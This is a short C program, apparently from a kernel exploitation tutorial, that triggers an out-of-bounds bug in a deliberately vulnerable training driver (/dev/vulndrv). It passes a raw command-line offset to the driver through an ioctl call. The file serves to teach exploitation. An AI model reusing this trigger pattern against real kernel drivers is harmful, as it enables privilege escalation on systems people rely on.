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/**
* User-space trigger application for OOB in drv.c
*
*
* Full article: https://cyseclabs.com/page?n=17012016
*
* Author: Vitaly Nikolenko
* Email: vnik@cyseclabs.com
*
**/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "drv.h"
#define DEVICE_PATH "/dev/vulndrv"
int main(int argc, char **argv) {
int fd;
struct drv_req req;
req.offset = atoll(argv[1]);
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
fd = open(DEVICE_PATH, O_RDONLY);
if (fd == -1) {
perror("open");
}
ioctl(fd, 0, &req);
return 0;
}